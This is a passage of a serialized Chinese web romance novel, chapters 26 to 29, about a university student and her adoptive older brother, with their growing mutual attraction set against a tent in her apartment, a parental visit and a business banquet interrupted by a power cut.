【📢作者有话说】 [爆哭][爆哭][爆哭]又来晚了!!对不起宝宝们,这两天有点忙,晚上去给妈妈过生日,下午又在帮朋友剪视频啊啊啊啊啊! 26 第 26 章 ◎非传统意义上的同床共枕◎ 复杂的情绪堆积在心底, 似乎吞咽的口水都混着比柠檬还酸的味道。钟卿悦的指尖从冰凉到温暖,是谢昱宁掌心的温度传递到她身上,也是因此, 才会让她涌起许多本来从未产生的想法。 她靠着沙发, 头歪着看向窗外, 物换星移, 皎洁的月牙出现在玻璃外, 倾泻下的辉光洒满整片阳台,如流萤落入人间。 谢昱宁不着痕迹地靠近她,手臂贴在她的肩膀上,她只需要再歪一下就可以靠在他肩上。 此刻他的私心或许只有月光看了出来。 相对无言,黑暗的环境让她酝酿出困意,不知不觉间竟然闭上眼睡了过去。 没过多久, 谢昱宁就感觉到肩头一阵柔软。她头靠过来的那一刻,他抿着的唇角缓缓勾起。 他偏头去看她,睡颜柔和, 细碎的发丝散在脸侧, 耳廓微红。从一只叽叽喳喳的小鸟变成了安静的小猫,他居然有些不适应。 他盯了很久,而后才小心翼翼靠着她的发顶阖上眸子。 — 钟卿悦醒来时发现自己躺在床上, 外面天光大亮,清脆的鸟叫声透过窗户传进来,带着清晨独有的慵懒气息。 她伸个懒腰从床上爬起来, 不知道昨晚怎么睡着的,又怎么回到床上的, 但应该是谢昱宁吧…… 想到可能性, 她立刻晃晃脑袋, 试图把乱七八糟的思绪都赶出去,晚上容易情绪上头,想太多想太多。 她深吸一口气,穿鞋洗漱。 洗漱完推开卧室门就闻见浓郁的饭菜香,吸着鼻子往厨房走,谢昱宁正端着盘子走出来,视线交汇,她眨眨眼,“哥,早上好。” “嗯。”谢昱宁打量她一瞬,垂下眸子,“吃饭吧。” 刚坐到椅子上,一杯香甜的豆浆就摆到了面前,在伦敦吃了太多西餐,看到豆浆油条居然都想流口水了。 谢昱宁把小笼包夹到她盘子里,慢条斯理道:“徐阿姨会过来打扫卫生,一会我送你去上课,下课我接你,不要到处乱跑。” “哦。”她嚼着油条,“你还不回去吗?难道沙发比大床更舒服?” 谢昱宁抬眸淡淡看着她应了一声,反倒让她哑口无言,半晌才嘟囔了句,“随便你。” 吃过早饭钟卿悦去学校,在教室门口偶遇路畅,路畅神采奕奕,见到她后立刻开心地挽住,“卿悦,我要感谢你。” 钟卿悦丈二和尚摸不着头脑,一脸疑惑地盯着她,“什么?怎么了?” “感谢你把客户介绍给我,假期我兼职,居然在新俱乐部遇到了你那位朋友叶先生,他看到我二话没说就选我做球童,给的小费特别高。”路畅不好意思地压低声音,“四位数。” “哇,太好了!还是你工作认真负责,我就知道你肯定可以!”钟卿悦拍着她肩膀夸赞道。 “他还加了我工作微信,说下次去还找我。周末下午我没排班,我请你和昕昕吃饭,去最好吃的餐厅。” 钟卿悦也没推辞,爽快地应了下来。 落座后排,路畅还在跟她分享最近积累的经验,她正认真听着,外侧手臂突然被人戳了一下。 她吓一跳,立刻抬头去看,入眼是周沐渊清秀俊朗的脸。 周沐渊看吓到她,急忙后退一步,“不好意思,钟同学,唐突了。” 钟卿悦:“有事吗?” “没,放假前你请了病假,我想问一下你身体好点了吗?” 钟卿悦尴尬地圆谎,“好了,没事,小感冒。” “那就好。”周沐渊松了口气,没再接话,但也站在原地没动。 钟卿悦好奇打量他,“还有事吗?” 自从上次表白后,周沐渊一直没再跟她搭过话,多数就是在教室和话剧社碰到。她必然不会主动和他产生交集,而他也没什么动作,要不是今天他突然过来关心,钟卿悦都在想他可算放弃了,谁知下一刻,他开口说话了。 “我想跟你解释一下。”他双手握拳,看上去十分紧张,瞥了眼路畅后又急忙垂下眼皮看她,“我上次说会努力提升自己,所以一直没跟你联系,我不是言而无信,你千万不要多想。” “啊……?”钟卿悦张了张嘴,半天都没找到合适的话来回应他。 周沐渊害羞地垂下头,看都不敢看她了,“那个,没事我先回位置了。” 他匆匆离去,路畅在一旁忍俊不禁,“他好有毅力,你不是都拒绝他了吗?” 钟卿悦有苦难言,“我说得挺明白的,但不知道为什么,他似乎好像……嗯,不太理解。” 路畅思索很久,得出一个结论,“可能追求人就是要厚脸皮吧。” 上午的课混混沌沌结束,钟卿悦出校门就看到谢昱宁已经等在路边。 她上了车还未坐稳,副驾驶位置突然探出一个漂亮圆润的脑袋,谢嘉希浓妆艳抹,卷翘的假睫毛扑闪扑闪,红唇漾出完美的微笑,打招呼的手指上美甲修长带钻,“Hello~” 钟卿悦瞠目结舌,半天才回过神,“Hi——” “我是谢嘉希。”谢嘉希伸出手,目光瞥了一眼谢昱宁,“他的堂妹。” “堂妹”两个字被她咬得极重,似乎生怕被抓住话柄。 钟卿悦礼貌回握,“我叫钟卿悦。” 她沉默一瞬,应该不需要介绍关系吧。正在思考着,身边的谢昱宁淡淡开口,“我妹妹。” 谢嘉希嘴角要咧到耳朵根了,“嗯嗯,我知道我知道。” 这就是当面磕cp的感觉吗?也太爽了吧。 谢昱宁瞪她一眼,示意她收着点,她匆匆点点头,开始说正事儿。 “我最近公司事情有点多,哎!”谢嘉希佯装苦恼的样子,“我没什么经验,总需要找大哥帮忙,也给他添了不少麻烦。” 钟卿悦眨巴眨巴眼睛,谢嘉希的话突如其来,连个铺垫都没有,她能听懂,又似乎听不懂。 片刻,她只好点点头顺着谢嘉希的话接下去,“嗯嗯,你也挺辛苦的,万事开头难嘛。” 谢嘉希一拍手,宛如找到知己的模样,“对啊,你看还是女孩子能够互相理解。” 钟卿悦笑着点点头,“我哥……嗯,哥哥他有经验,找他帮忙准没错,而且他最近也好像不太忙了。” 说罢,钟卿悦瞥他一眼,视线交汇,谢昱宁立刻接收,“嗯,不忙了。” 谢嘉希想笑又不敢笑,都快憋出内伤了,这还是她认识的谢昱宁?平常冷得跟冰山似的,这会儿居然像温顺的小狗,看钟卿悦的目光都快化成水了,真是太让她长见识了。 谢嘉希磕完糖,笑眯眯地看着钟卿悦,“我喊你悦悦可以吗?我应该比你大几岁。” “好啊,那我喊你嘉希姐?” “好好好,悦悦妹妹。” 谢嘉希表面应得坦然,内心已经在思索什么时候改口喊嫂子呢?希望她大哥争点气啊! 三人中午一起吃了饭,下午谢昱宁有会,于是谢嘉希拐着钟卿悦去逛街,两人聊得来,天南地北的瞎扯,到后面谢嘉希都想给钟卿悦介绍几个弟弟,这么可爱的姑娘跟她大哥那么冰山木头太吃亏了! 到了晚上,谢嘉希没再留下来,她江城还有烂摊子,得回去继续收拾,钟卿悦在家门口目送她开车离开,转身上楼。 推开公寓门,她被眼前的景象惊掉下巴,本不算大的客厅堆着几个空箱子,单人沙发从右边挪到了左边,阳台的位置空出一大片,搭了一半的帐篷安静矗立在角落,周遭堆着各种不同的盒子,谢昱宁正埋头在盒子旁边忙碌着。 “哥?” 谢昱宁抬眸看她,“回来了。” 她点头应了声,空盒子上的品牌太过熟悉,那帐篷也是她昨天加到购物车里的配色,今天就水灵灵出现在家里了。 她欲言又止,半天才问出,“不是还没开售吗?” “嗯,恰好和他们公司有合作,能提前从工厂拿货。” 谢昱宁把顶部支撑起来固定住,“要过来帮忙吗?” 她愣怔一瞬,嘴角扬起,“好啊!” 三角形的帐篷撑起来像一颗立体的粽子,内部空荡荡,铺上床垫后就像加满了米。 她兴致勃勃地拆配套物品,彩旗、氛围灯、不同的玩偶。她拆了谢昱宁就拿着安装,像流水线一样默契,不知不觉太阳落山,天光渐暗,屋内也没了亮光。 谢昱宁打开氛围灯开关,角落瞬间充斥起温暖的灯光,她惊喜抬眸,澄澈的眸子里闪闪发亮,将眼前的景色统统纳入眼底。 谢昱宁勾起唇角,将帐篷入口处的布帘认真系好,“进去吧。” 她猛然站起身,“现在就可以吗?” “嗯,很牢固了。”谢昱宁把手里的小熊玩偶塞进她怀里,“去吧,和它一起。” 钟卿悦笑意嫣然,俯身钻进帐篷,往枕头上一躺,瞬间有种被温暖包裹的安全感。 “快来,哥。”她扬手冲着谢昱宁喊道,“我们一起。” 谢昱宁身形微顿,下一秒俯身和她一起钻进帐篷。 看他进来,钟卿悦连忙往一侧蹭了蹭,让出另一半的枕头,“来欣赏我的秘密基地吧。” 他盯着空出的半个枕头,没有一丝一毫犹豫地躺了下去。 身侧的枕头下陷,他的脸近在咫尺,钟卿悦偏头瞧他,兴奋道:“怎么样?是不是感觉不错?” 他喉间发紧,声音暗哑,“嗯。” 他的气息微弱喷薄在她脸侧,钟卿悦身体一僵,连忙转开视线看着帐篷顶部。 非传统意义上的同床共枕…… 怎么就不算同床……共枕呢? 【📢作者有话说】 [哈哈大笑]六月,我将努力全勤!!! 27 第 27 章 ◎抓包现场◎ 钟卿悦能听到胸腔下持续加速的心跳, 手心染上一层潮意,她抱紧怀中的玩偶熊,声音清清淡淡, “你既然不愿意回去, 晚上就在帐篷里睡吧。” 沉了一瞬, 她继续自言自语, “我好吧, 把我的秘密基地让给你。” 谢昱宁唇边的笑意渐深。微不可察的轻笑声落在钟卿悦耳畔,像春天吹起的微风,温暖又能撩拨心绪,她摩挲着小熊鼻子,不敢再去看他。 “这里不能当我们两个人的秘密基地吗?”谢昱宁反问道。 钟卿悦微怔,“也不是不行, 我分你一半吧。” 一人一半的帐篷听上去实在怪异,谢昱宁挑眉应了一声,偏头勾起唇角。 沉默无言, 帐篷内的温度还是在持续上升, 奇妙的氛围围绕,两人心怀鬼胎,谁都不再单纯。 不知过了多久, 钟卿悦平复下心情,盯着帐篷顶感叹道:“人果然无法同时拥有青春和对青春的感受,现在躺在这里也回不去小时候那种无忧无虑的心境, 如果能长不大就好了。” 谢昱宁侧过身子,手臂枕在头下, 认真听着她的感慨。 她无所察觉, 还沉在幻想中, “哥,如果有时光机,你会穿越回去吗?” “不会。”谢昱宁回答的很干脆。 钟卿悦愣怔一瞬,侧过头去看他,她以为他会想要回到过去,改变一切。但静下心便能想到,他性格和她不同,他知道无法实现,所以不给自己任何幻想的机会。 虽然不能感同身受他所经历的一切,但她清楚他一步步走来有多不容易,鼻尖一酸,莫名有些心疼他。 “不能回头,要朝前看,未来一定一片光明。”她说话掷地有声,像宣誓似的。 谢昱宁被她逗笑,“怎么突然那么认真?” “因为我认为你的想法非常正确,我是鸵鸟想法,不可取。” 钟卿悦笑着眨巴眨巴眼睛,对上他干净清澈的眸子,那双黑色瞳仁里能倒映出她的脸。 她突然又想了很多,原本逐渐平息的心跳再次不受控地加速,无论怎么放缓呼吸都无法改变。 他们离得很近,近到只需有一方主动,这一切都会翻天覆地的改变。 谢昱宁鬼使神差地抬起手,钟卿悦呼吸一滞,却没躲开。 温热的掌心落在发顶,轻柔缓慢地揉着她的发丝,如同无数只蚂蚁啃噬而过,带着微痒的触感。 她缩起脖子,不满地哼唧一声,“会长不高的。” 话音刚落,隐约响起一阵轻柔的敲门声。 钟卿悦微愣,以为自己听错了,停下动作再去伸着耳朵仔细听,果然又传来敲门声。 “有人敲门?你点外卖了吗?” 谢昱宁蹙眉摇了摇头,起身钻出帐篷去查看。 门拉开,钟妈的身影赫然站在门外。 谢昱宁:“妈?” “昱宁?”钟妈看到他吓了一跳,视线迅速扫视他,继而越过他的身影往屋里看去。 此时钟卿悦听到谢昱宁的轻唤,心里一紧,钟妈怎么会来故城? 她穿上拖鞋往门口跑去,“妈妈,你怎么来了?” 钟妈回过神,狭长的眸子上下打量她,语气波澜不惊,“我来故医附属医院坐诊。” 谢昱宁闪开门口迎着钟妈走进屋内。 钟妈手上提着包,如领导巡视似的在屋里转了一圈,到阳台位置时,看到乱糟糟的一切,问道:“这是什么?” 钟卿悦:“刚买的帐篷,我哥在帮我搭帐篷。” “要出去玩?” “不是,就是室内的帐篷。”钟卿悦连忙踢了一脚杂乱的包装盒,让出往沙发去的路,“妈妈,你坐。” 谢昱宁端来水放到茶几上,钟卿悦又往钟妈方向推了推,“妈妈,喝水。” 钟妈慢条斯理地应了声。 钟卿悦:“妈妈,你今天刚来的吗?待几天?” “中午到的,坐诊三天。” “那你住哪儿?有安排酒店吗?”钟卿悦问道。 钟妈睨她一眼,“我来找你住。” 钟卿悦眨巴眨巴眼,委屈道:“我爸给我买的公寓就一个卧室,你要不跟我哥去住吧,他那边房子大。” 谢昱宁应了声,“妈,你跟我回去吧。” “一个卧室?你爸真是的。”钟妈皱着眉一阵埋怨钟爸。 晚饭后,钟妈跟着谢昱宁回家,公寓里只剩钟卿悦自己,她躺在帐篷里追剧,连看两集后有些昏昏欲睡。 熄灭平板,她反身抱起小熊,刚想闭上眼睛入睡,眼前突然一黑。 她一下惊醒,睡意全无,下意识去摸眼睛,该不会突然失明了吧? 她二话不说爬起来,摸索着点亮平板,微弱的亮光照亮帐篷,原来是停电了。 可是怎么会停电?她钻出帐篷往窗外望去,对面楼上灯火通明,每层都有住户家亮着灯。 好像就她家停电了。 她摸手机给物业打电话,物业问她是不是没交电费,她哑口无言,她从未自己住过,根本没考虑过电费、水费这样的问题。 物业给了她户号,让她自己网络充值。 挂断电话,她摸索着在支付宝寻找生活缴费。 就在此时,门口突然响起密码锁解锁的声音,她心一下子揪起来,来不及思考,手忙脚乱地抄起桌上的杯子就往门口去。 刚探到门口,门就从外面推开了,一个高大的人影侧身进门,她闭上眼,二话不说,举起水杯便朝着人影砸了过去。 手落到一半突然被人握住,来人身上带着雪松的气息,连掌心的温度都让她无比熟悉。 “怎么不开灯?” 谢昱宁清冽的嗓音响起,她悬着的心一下子落回胸口,猛然睁开眼,借着窗外朦胧的月光看清眼前的人,“哥?你怎么又回来了?” 谢昱宁拿走她手里的水杯,“我安顿好妈就回来了。” “你……”她哑口无言,张了张嘴,“停电了,物业说没电费了。” 谢昱宁了然,问道:“知道户号吗?” 她点点头,把记在备忘录里的户号展示给他看。他扫了一眼,掏出手机熟练充值。 “怎么不给我打电话?” 她撇撇嘴,“我自己能处理。” “下次给我打电话。” 钟卿悦乖巧地应了声。 充值完,十几分钟后家里就来了电。两人坐在沙发上大眼瞪小眼,钟卿悦好奇地打量他,“哥,你怎么那么喜欢睡沙发……” 谢昱宁眉梢抽了抽,“我今晚不是可以睡帐篷吗?” “是……原来你是想睡我们的秘密基地。” 谢昱宁沉默半晌,淡淡应了声。 她大手一挥,“那你去吧,我就知道你也童心未泯。” 谢昱宁一时语塞,看着她许久都没说话。 她无辜地眨眨眼,“那我不耽误你了,我回房间睡觉了。” 说罢,她起身嗖的一下钻回卧室,谢昱宁盯着她离开的方向,无奈叹口气。 — 翌日,钟妈起床后只在家里看到徐阿姨,却不见谢昱宁的身影。 她问了徐阿姨一声,徐阿姨礼貌道:“先生一早就去上班了。” 钟妈松了口气,没再多想。 与此同时,公寓那边,钟卿悦把还剩一半的紫薯放下,“吃不下了,大早上就吃撑了。” 谢昱宁自然拿过,替她解决剩下的一半。 她阻止不及,看他认真吃着,心底又敲起小鼓,这太奇怪了,怎么有点像…… 她连忙晃晃脑袋,耳廓泛起潮热,低垂着头抱起杯子喝豆浆,掩盖心里乱七八糟的思绪。 钟妈上午坐诊结束后就直奔公寓,钟卿悦下课回家和她在门口碰个正着。 钟妈打量她一眼,“我约了阿扬一起吃午饭。” 该来的总会来的…… 钟卿悦想到会有这么一出,便按照准备的计划开始。 她佯装为难地推脱道:“妈妈,我下午还有课。” “吃饭又不耽误上课。”钟妈把她推进卧室,“换件衣服,这件太休闲了。” “妈妈。”钟卿悦思忖着,“你该不会想我现在就谈恋爱吧?” “没有。”钟妈果断道,“我跟你叶阿姨关系不错,想着你跟阿扬也认识一下,交个朋友,以后都能互相帮忙。” “哦,这样啊,那就好,我还不想谈恋爱。” 钟妈不动声色地点点头,“好好学习。” 话至此,钟卿悦已经心满意足,转身去换衣服。 下了楼,叶承扬的车停在楼下。时隔几个月没见,叶承扬没什么变化,仍旧礼貌温和,在看到她后笑着点头打招呼。 到了餐厅,钟妈去洗手间,叶承扬笑着问她,“按我们的计划?” 她忙点头,“感谢感谢。” “不用客气。” 钟卿悦望了眼门口,又道:“也谢谢你帮我朋友冲业绩。” “没有,她性格很好,工作也很认真,我的客户也对她的专业技术满意,所以我才会一直找她。” 说话间,钟妈走进房间,见两人相谈甚欢,她满意地点点头。 一顿饭?*? 下来,钟妈放下了心,她本身来故城也是带着目的。 两天后,钟妈离开,钟卿悦再次恢复自由。 她现在唯一有点愁的就是谢昱宁每天都来公寓,每晚都睡在帐篷里,她有时半夜偷偷去客厅看他,感觉他睡得十分难受,毕竟那帐篷长度才一米六,而他身高一米八多。 纠结两天后,她提出搬回小洋房,连夜收拾东西带着谢昱宁回家。 【📢作者有话说】 [撒花][撒花][撒花]宝宝们儿童节快乐!!! 28 第 28 章 ◎别怕◎ 七月初, 连雨不知春去,一晴方觉夏深。故城的天气阴郁了一周,春雨淅淅沥沥下个不停, 终于在假期来临时迎来了难得的天晴。 骄阳似火, 悬挂在天边的日头散发着炽热的光芒, 将地面积蓄的雨水炙烤着, 整座城市宛如一个巨型蒸笼, 上烤下蒸,闷热难耐。 考试周结束,钟卿悦盼来了超长的暑假,在故城赖了一周,受不住钟爸连番轰炸的电话,两人一大早收拾东西回江城。 虽说故城热, 好歹处在沿海城市,气温相对低很多。回到江城后才感受到真正的酷暑,空气滚烫炎热, 呼吸都变得困难起来。 每到这个季节钟卿悦就像抽了魂儿的木偶, 无精打采,萎靡不振,一天到晚连主楼的大门都不出。 钟妈看不惯她懈怠懒散的样子, 要求钟爸早上拖着她一块晨练。 于是,钟卿悦被迫每天六点起床,跟在钟爸身后围着庄园的阴凉地跑上两圈后, 再回房间洗澡吃早饭。 这天,她刚洗完澡, 擦着头发从浴室出来, 床上的手机便连续震动了两下。 她顶着毛巾好奇地拿起来查看, 居然是叶承扬发来的消息。 [早上好。] [今天有事吗?可以帮我个忙吗?] 钟卿悦撩开眼前凌乱潮湿的头发,迅速回复:[早,请说请说。] 她私下和叶承扬没有任何联系,上一次见面还是在钟妈的撮合下。几次接触,她感觉叶承扬人还不错,而且他还帮她瞒着家里。眼下他开口,她当然能帮则帮。 [叶承扬:抱歉,可能有些突然。我今天有一场商业酒会,需要一位元女伴,不知道你能不能陪我出席?] [叶承扬:我妈说你放假回江城了。] 这消息传得可够快的,连想都不用想就知道是钟妈说的,而叶太太跟叶承扬说这句话的意思还是在撮合他们。 钟卿悦汗颜,这真是骑虎难下。 思绪纷飞的工夫,叶承扬的消息又发了来,[没事,你不方便我再找其他人。] 钟卿悦立刻回过神,[不,我刚刚走神了,我有时间。] [叶承扬:好,那傍晚六点我去接你。] 钟卿悦回了个ok的表情,又陷入沉思,穿……什么? 吃过早饭,她被这个难解的问题缠绕,在衣帽间转了两圈无果,打电话给品牌店让他们送新款礼服来。 钟妈都去上班了,估摸着从叶太太那儿得知她要跟叶承扬去参加酒会,查完房的空闲时间就给钟卿悦打来了电话。 先是给她订了礼服,又找了造型师,说话字里行间都是满意。钟卿悦无语,但又不知道说什么,只能皮笑肉不笑地随钟妈安排。 下午,礼服和造型师前后脚进门。 她连午觉都没空睡,被架着又是试衣服又是试妆,中途一度困得睁不开眼。 彼时,谢昱宁接过已经拒绝的酒会邀请函,眸光冷如利刃,直直扎在卡面上。 十分钟前,他接到钟爸的电话,喊他出席这场酒会。他无意应酬,多数时候能推则推,比起纸醉金迷的寒暄,他更想回家陪钟卿悦打游戏。 要婉拒之际,钟爸在那边幽幽飘出来一句,“悦儿也要去,你去看着她,我还放心点。” 谢昱宁烦躁地将手中邀请函往桌上一撇。 齐乐大气不敢出,垂首安静待命。 谢昱宁靠在椅背上,手捏着眉间,沉声道:“要求必须有女伴?” 齐乐悄咪咪抬头看他一眼,又低头老实道:“没…没要求。” “没要求他找女伴?” 谢昱宁已经在破防的边缘,他很少显露自己的情绪,上一次他失态也是因为钟卿悦的事。 齐乐屏息凝神,试探接话道:“那他是不是对钟小姐有意思?” 冷冽的目光瞬间落到齐乐身上,他呼吸一滞,慌忙低下头,说错话了,可完蛋了。 谢昱宁盯了他一瞬,嗤笑一声,“他?几斤几两?还没从他父亲手里争出权,有什么能力。” “是,他配不上钟小姐。”齐乐胆战心惊接话。 谢昱宁垂下眸子,幽暗的瞳仁里蕴着浓稠的阴鸷,他们都配不上她。 沉默片刻,他薄唇轻启,情绪掩藏,“待会的会议改到明天,晚上去酒会。” — 傍晚,叶承扬的车准时开进钟家庄园,钟卿悦闻声闲庭信步地出了主楼,下一秒-就被猛烈的热浪包裹,后背瞬间起了一层汗意,她拿手扇了扇风,带来的都是密不透风的热气。 叶承扬拉开车门,“很热,上车吧。” 钟卿悦微笑点点头,俯身钻进车里,叶承扬立刻将她悬着的裙摆提进车里,她诧异,十分不适应,连忙自己整理着,“谢谢,我自己可以。” 上了车,叶承扬看着她,笑容温和,“今天的礼服很适合你,尤其是搭配的手链,简约而不简单,款式很有设计感。” 他很喜欢夸赞别人,而且还是从细微的地方当作突破口,给人一种十分认真且备受重视的感觉。 钟卿悦微微勾起唇角,看了眼手腕上的钻石手链,“这是我第一场话剧演出的礼物。” 叶承扬有些诧异,“那送你礼物的人品味一定很好,非常了解你。” 是吗……? 钟卿悦垂眸沉思着,似乎是的,谢昱宁总像钻进她心里似的。 她没接他的话,转而问起其他问题,“今天的酒会有什么需要注意的吗?” 叶承扬笑着摇了摇头,“没关系,只是普通的商业酒会,有不少投资人,都是一个圈子里的,和钟叔叔他们都认识。” “哦,我没听我爸爸提起。” 叶承扬沉吟一瞬,解释道:“他们请不到钟叔叔。” 钟卿悦惊诧地眨眨眸子,话中含义清楚明了。 说话间,车子开进枫兰酒店地下停车场。 下了车,乘坐电梯到顶楼宴会厅,出电梯门后,叶承扬站在原地,他轻轻抬起手臂,垂眸示意道:“钟小姐?” 钟卿悦愣了一瞬,随着他目光看去便立刻了然,她微微弯下唇,梨涡浅浅浮现在唇边,手臂自然地穿过他的臂弯,轻轻搭在上面。 感受到手臂上微弱的重量,叶承扬失笑,“你真的很瘦。” “没有,正常体重,正常身材。” 叶承扬没再多言,点了点头。 两人相携走进宴会厅。偌大的宴会厅灯火辉煌,璀璨的水晶吊灯悬挂在正上方,一切在如此明亮的光线下都无处躲藏。厅内一侧摆放着精致的餐桌,洁白的桌布上摆放着精致的餐品和晶莹剔透的酒杯。 此时宾客已经不少,三三两两聚在一起低声交谈着,时不时发出清脆的笑声。 两人微微驻足片刻,叶承扬垂首低声道:“我们先去那边和酒会的主人李总打声招呼。” 钟卿悦淡淡应了声,“你随意。” 话音刚落,远处一位中年男人看到叶承扬,立即和身旁人说了句话,带着笑意匆匆迎过来。 还未走到两人面前,男人的笑容突然僵在脸上,视线越过两人看向门口处,目光从惊喜转为惊诧,紧接着调转方向,和叶承扬擦肩而过,直奔门口。 叶承扬十分疑惑,钟卿悦也觉奇怪,随着中年男人的目光看去,门口处站着一个颀长的身影,他穿着一身浅灰色西装,挺拔的身姿被完美的勾勒出来,他单手插兜,腕间露出熟悉的手表。 谢昱宁只是在那随意地站着,便有无数的目光和不同的身影朝着他涌去。 钟卿悦眼睛瞪地大大的,目光中满是惊讶。 下一秒,谢昱宁的视线落在她脸上,交汇,打量,沉寂。 他忽视掉迎上前和他打招呼的所有人,直直朝着钟卿悦走来,步伐坚定沉稳,没有任何犹豫。 钟卿悦几乎是下意识地收回了手。叶承扬感觉到臂弯里突然的空落,垂眸看去,钟卿悦的手臂已经背在了身后。 “哥。”她淡淡启口,仰头认真看着眼前的人。 谢昱宁垂眸去看她的手,许是她收回手臂,许是她腕间的手链,因素很多,他不清楚,但心情明显被她哄好。 “嗯,怎么没告诉我你要来?” 钟卿悦眨眨眼,“我陪阿扬来的。” 说罢,她瞄了眼他身后,“你没有女伴吗?” 谢昱宁眯了眯眼,语气凉凉,“你跟着他来,我去哪里找女伴?” “我……”钟卿悦张了张嘴,片刻才嘟囔了一句,“你也没邀请我啊。” “因为我没打算来,你游戏不是还没通关?” 钟卿悦不好意思地抿唇笑笑,“对呀,那不是等你回家帮我打。” “嗯。”谢昱宁沉吟一瞬,淡淡开口,“再说吧。” 此时,酒会的主人李总已经走了过来,看到谢昱宁后立刻躬身亲切握手,“谢总,有失远迎,有失远迎。” 谢昱宁抽出手和他相握,“没事。” 说罢,他看向钟卿悦,倾身将她拉到自己身侧,“李总,这是我妹妹卿悦。” 李总讶然,连忙伸出手,“卿悦小姐。” 钟卿悦礼貌和他握手,“您好,李总。” 李总:“第一次见卿悦小姐,果然美艳动人。听闻卿悦小姐还在读书?” “是的。” “青春有活力,前途不可限量啊!” 钟卿悦微笑颔首,“您谬赞了。” 话音刚落,大厅内的灯光一闪,下一秒突然进入无限黑暗,伸手不见五指,什么也看不到。 钟卿悦心脏猛地收紧,吓了一跳,还未反应过来,手上突然传来熟悉的温热,修长的指骨嵌进她的指缝,收拢收紧,将她牢牢握住。 紧接着,带着雪松清冽的气息包裹上来,谢昱宁的声音响在耳畔,又轻又淡,“别怕,停电了。” 【📢作者有话说】 [奶茶]现在一想到哥哥接下来的行动就激动!!! 29 第 29 章 ◎开心更重要,不是吗?◎ “大家别慌, 应该是断电了!” 李总的高喊在嘈杂的交谈中显得沧海一粟,所有人都惊慌失措,你一言我一语地询问着。 钟卿悦紧贴着谢昱宁, 眼睛眨了许久才慢慢适应昏暗的环境。 她潜意识的依赖在谢昱宁眼里十分受用, 他唇角勾着, 声线慵懒, “回家?” “嗯?”钟卿悦还伸着耳朵在听李总那边激情控诉酒店, 没听清谢昱宁的话。 谢昱宁借着黑暗俯身靠近她,温热的气息徐徐喷洒在她耳侧,带着微痒的触感。 “我说…回家。”他薄唇轻启,语调轻缓。 钟卿悦缩起脖子,迟疑道:“我是陪阿扬来的。” 谢昱宁眸光微黯,捏了下她的手, 力道不重,却含着不满情绪,“停电酒会进行不下去了。” 他沉了一瞬, “回家我帮你通关游戏。” 钟卿悦偏头看向他的方向, 黑暗中,只能隐约感受到他的轮廓近在咫尺,却无法看清那张脸。 她冷哼一声, 学着他之前的语气,“你刚才不是很高冷,说再说吧。” 谢昱宁无奈叹口气, 刚要放软语气哄她,叶承扬的声音却不合时宜响起, “卿悦, 还好吗?” 漆黑的环境下, 他摸索半天也没找到钟卿悦,周遭的人一直在七嘴八舌的讨论,他只好拔高声音压过他们。 钟卿悦朝着叶承扬的方向看去,模糊看到一个黑影正在靠近,她立即回道:“我没事,我和我哥在一起。” 叶承扬的影子停下,声音传来,“那就好,应该是这间宴会厅的线路出现了问题,我看门外是有光的。” 钟卿悦应了声,随即看向门口,果然底部门缝的位置透出外面刺眼的亮光。 还未反应,门突然从外面推开,屋外的光亮瞬间洒进室内,在黑暗下刚适应的眼睛经不起强光线刺激,她下意识眯起眼躲避,下一秒,一双手挡在了她眼前。 谢昱宁:“别看。” 她乖巧地点点头。 酒店经理踏着光慌张跑进来,直奔李总面前,“抱歉,李先生,这间宴会厅电路突发故障,正在紧急抢修,大约需要等待一个小时。” “什么?!这么久?”李总怒不可遏,“你们酒店什么情况,给我找其他宴会厅,我换一间。” 经理:“不好意思,今天宴会厅都预约满了,实在没办法安排。您看安排您和客人先去休息室稍事等待,今天所有费用由我们酒店承担,可以吗?” 李总皱着眉思考着,此时许多客人围了过来,其中有人说道:“李总,我们先回去了,下次再约吧。” 紧接着又有人附和道:“嗯,不然今天先这样。” “诶,别啊。”李总焦急着想要留下众人,奈何客人已经被磨得没了心情,陆陆续续打了声招呼都离开了。 叶承扬也去说了几句,半晌走回钟卿悦面前,微笑道:“我们也走吧。” 钟卿悦点点头。 随着众人走出宴会厅,叶承扬礼貌道:“我送你回去吧。” 钟卿悦笑着摇了摇头,“不用,我和我哥一起回去就好了。” 叶承扬目光凝滞一瞬,继而含笑看了眼谢昱宁,“没想到谢先生也会来。” 谢昱宁微微挑眉,“她来我就会来。” 这句话说得实在,没有任何隐瞒,说者有心,自然听者也有意。叶承扬笑着沉默,没有再接话。 下到停车场,两人的车停在不同方向,钟卿悦跟着谢昱宁走,临分别的时候,她还嘱咐叶承扬注意安全。 谢昱宁脸色冷下来,拽着她手腕就往反方向拉去。 “诶……”钟卿悦被他拽一踉跄,“哥,你干嘛呀?” 谢昱宁偏头瞥她一眼,语气不善,“才几步路,就能有危险?” “那不是礼貌嘛。”钟卿悦加快步伐跟上他,凑到他面前,笑眯眯问道,“你吃炸药了?” “嗯?”谢昱宁眯眼审视她。 钟卿悦撇撇嘴,“呐,你从今晚出现就带火气,不是吃炸药是吃什么。” “嗯,吃了。”他勾唇,“怎么办?” “那我就连夜翻遍医书,奋发学医,争取尽快给你拆了炸药包。” 谢昱宁拉开车门将她塞进副驾驶,自己绕到驾驶位。 他上了车,钟卿悦又凑上前,“怎么样?我对你够不够上心?” 谢昱宁垂眸,目光落在她笑意嫣然的脸上,“嗯,但你不用学医。你只要别再跟他出来,炸药包自动就拆除了。” ……? 这下换钟卿悦愣住了,笑容僵在脸上,眼睛一瞬不瞬地盯着他。 谢昱宁看着路,抽空瞥了她一眼,“嗯?没听懂?” 钟卿悦只觉耳尖涌上一股火,发热发烫。她迅速坐直身体,紧靠着椅背,嘟囔了一句,“莫名其妙,什么啊……” 谢昱宁目视前方,嘴角上扬,心情多云转晴。 车子在高架上缓慢穿梭,迎着夕阳的余晖,天际被染上浓墨重彩的橙红色,越往外围越浅淡,形成渐变色的天空。 钟卿悦出神地盯着窗外,心绪杂乱。 不知从什么时候开始,她在面对谢昱宁时生出了许多说不清道不明的情绪,有时因为他的一句话,有时因为简单的动作,到后来甚至只是沉默的对视,都会让她心跳变得越来越快。 她像蒙在一层纱中,能隐约察觉到外面的东西,却又害怕去证实。 她垂下眼皮,指尖绞在一起,无章法地翻动,指甲划得指腹通红都没什么感觉。 “不疼?” 谢昱宁的声音忽地响起,接着腾出手拉开她的手。 她一时晃神,茫然看了他片刻,才像受惊的小鹿似的迅速推开他的手。 “你…你好好开车!”她偏头躲开,脸颊也热了起来。 谢昱宁看着空落落的掌心,神色黯淡,还是吓到她了。 